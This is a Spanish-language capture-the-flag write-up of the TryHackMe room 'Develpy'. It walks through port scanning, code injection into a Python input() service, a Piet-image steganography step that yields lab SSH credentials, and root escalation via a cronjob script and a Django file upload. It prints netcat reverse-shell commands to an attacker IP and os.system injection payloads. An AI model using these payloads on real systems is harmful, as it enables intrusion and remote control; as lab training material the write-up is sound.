This page looks best with JavaScript enabled

TryHackMe - Develpy

 •  ✍️ sckull

Develpy es una maquina de TryHackMe originalmente para Bsides Guatemala, presenta una vulnerabilidad en script de Python a la escucha de instrucciones donde ejecutamos una shell inversa, tambien encontramos un reto de Esteganografia que nos dio acceso a un siguiente usuario por SSH. Para escalar privilegios modificamos un script utilizado por un CronJob, una alternativa era una aplicacion en Django que permitia la ejecucion de scripts en python.

Room

Titulo Develpy box_img_maker
Descripción boot2root machine for FIT and bsides Guatemala CTF
Puntos 60
Dificultad Media
Maker

stuxnet

MASSCAN & NMAP

Escaneo de puertos udp/tcp y sus servicios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
root@kali:~/trymehack/develpy# masscan -p1-65535,U:1-65535 10.10.100.133 --rate=1000 -e tun0

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-09-03 23:20:18 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 10000/tcp on 10.10.100.133                                
Discovered open port 22/tcp on 10.10.100.133

root@kali:~/trymehack/develpy# nmap --script firewall-bypass 10.10.100.133
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-03 19:36 EDT
Nmap scan report for 10.10.100.133
Host is up (0.16s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
10000/tcp open  snet-sensor-mgmt

Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-03 19:38 EDT
Nmap scan report for 10.10.100.133
Host is up (0.19s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE           VERSION
22/tcp    open  ssh               OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
10000/tcp open  snet-sensor-mgmt?
| fingerprint-strings: 
|   GenericLines: 
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 0
|     SyntaxError: unexpected EOF while parsing
|   GetRequest: 
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 1, in <module>
|     NameError: name 'GET' is not defined
|   HTTPOptions, RTSPRequest: 
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 1, in <module>
|     NameError: name 'OPTIONS' is not defined
|   NULL: 
|     Private 0days
|_    Please enther number of exploits to send??:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port10000-TCP:V=7.70%I=7%D=9/3%Time=5D6EF9B4%P=x86_64-pc-linux-gnu%r(NU
SF:LL,48,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days\r\n\r\n\x20
SF:Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20")%r
SF:(GetRequest,136,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days\r
SF:\n\r\n\x20Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\
SF:?:\x20Traceback\x20\(most\x20recent\x20call\x20last\):\r\n\x20\x20File\
SF:x20\"\./exploit\.py\",\x20line\x206,\x20in\x20<module>\r\n\x20\x20\x20\
SF:x20num_exploits\x20=\x20int\(input\('\x20Please\x20enther\x20number\x20
SF:of\x20exploits\x20to\x20send\?\?:\x20'\)\)\r\n\x20\x20File\x20\"<string
SF:>\",\x20line\x201,\x20in\x20<module>\r\nNameError:\x20name\x20'GET'\x20
SF:is\x20not\x20defined\r\n")%r(HTTPOptions,13A,"\r\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20Private\x200days\r\n\r\n\x20Please\x20enther\x20number\x20of
SF:\x20exploits\x20to\x20send\?\?:\x20Traceback\x20\(most\x20recent\x20cal
SF:l\x20last\):\r\n\x20\x20File\x20\"\./exploit\.py\",\x20line\x206,\x20in
SF:\x20<module>\r\n\x20\x20\x20\x20num_exploits\x20=\x20int\(input\('\x20P
SF:lease\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20'\)\)
SF:\r\n\x20\x20File\x20\"<string>\",\x20line\x201,\x20in\x20<module>\r\nNa
SF:meError:\x20name\x20'OPTIONS'\x20is\x20not\x20defined\r\n")%r(RTSPReque
SF:st,13A,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days\r\n\r\n\x2
SF:0Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20Tra
SF:ceback\x20\(most\x20recent\x20call\x20last\):\r\n\x20\x20File\x20\"\./e
SF:xploit\.py\",\x20line\x206,\x20in\x20<module>\r\n\x20\x20\x20\x20num_ex
SF:ploits\x20=\x20int\(input\('\x20Please\x20enther\x20number\x20of\x20exp
SF:loits\x20to\x20send\?\?:\x20'\)\)\r\n\x20\x20File\x20\"<string>\",\x20l
SF:ine\x201,\x20in\x20<module>\r\nNameError:\x20name\x20'OPTIONS'\x20is\x2
SF:0not\x20defined\r\n")%r(GenericLines,13B,"\r\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20Private\x200days\r\n\r\n\x20Please\x20enther\x20number\x20of\x20
SF:exploits\x20to\x20send\?\?:\x20Traceback\x20\(most\x20recent\x20call\x2
SF:0last\):\r\n\x20\x20File\x20\"\./exploit\.py\",\x20line\x206,\x20in\x20
SF:<module>\r\n\x20\x20\x20\x20num_exploits\x20=\x20int\(input\('\x20Pleas
SF:e\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20'\)\)\r\n
SF:\x20\x20File\x20\"<string>\",\x20line\x200\r\n\x20\x20\x20\x20\r\n\x20\
SF:x20\x20\x20\^\r\nSyntaxError:\x20unexpected\x20EOF\x20while\x20parsing\
SF:r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 152.23 seconds

PYTHON INPUT

En el puerto 10000 encontramos un script que nos pide un numero para poder enviar ese numero de paquetes al localhost.
image

KING - USER

Le pasamos codigo python para ejecucion de comandos y vemos el resultado del comando enviado.

1
__import__('os').system('id')

image

Le pasamos una shell inversa

1
__import__('os').system('nc -e /bin/sh 10.8.1.72 1337')

Obtenemos una shell con el usuario king y la flag user.txt.

image

ESTEGANOGRAFIA

En la carpeta principal encontramos una imagen con el nombre de credentials.png, lo copiamos a nuestra maquina.

image

La imagene contiene distintos colores, para poder decodificar la imagen utilizamos la pagina de npiet.

image

Imagen con credenciales
image

1
king:c00ffe123!

SSH - KING

Nos logeamos con las credenciales que encontramos en la imagen y obtenemos acceso con el usuario king nuevamente.
image

PRIVILEGE ESCALATION

Utilizamos pspy para ver los cronjobs que se ejecuta, vemos que el usuario root ejecuta el archivo root.sh y run.sh que se encuentra en la carpeta principal del usuario king.

image

Cambiamos el nombre del archivo root.sh a root.sh.bak y creamos un nuevo archivo con nuestra shell inversa.

1
echo "nc -e /bin/sh 10.8.1.72 1338" >> root.sh

image

Obtenemos una shell inversa con el usuario root y nuestra flag root.txt.
image

ALTERNATIVE ROOT - DJANGO

Encontramos que en el puerto 8080 esta corriendo un servicio de python o una pagina de django, como pudimos observar en la lista de pspy. Utilizamos ssh para traer localmente el puerto 8080 con las credenciales del usuario King.

image

Encontramos una pagina escrita en django en la cual se puede enviar un archivo de python.
image

Simple upload
image

Creamos un archivo con una shell inversa en python.
image

Subimos nuestro archivo python, esperamos hasta que el cronjob ejecute el archivo root.sh, el cual ejecuta cualquier archivo python que se encuentra en la carpetan /root/company/media/*.py.
image

Esperamos hasta que se ejecute el cronjob y nos da una shell inversa con el usuario root.
image

Tambien vemos nuestro archivo que se subio a la carpeta del usuario root.
image

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe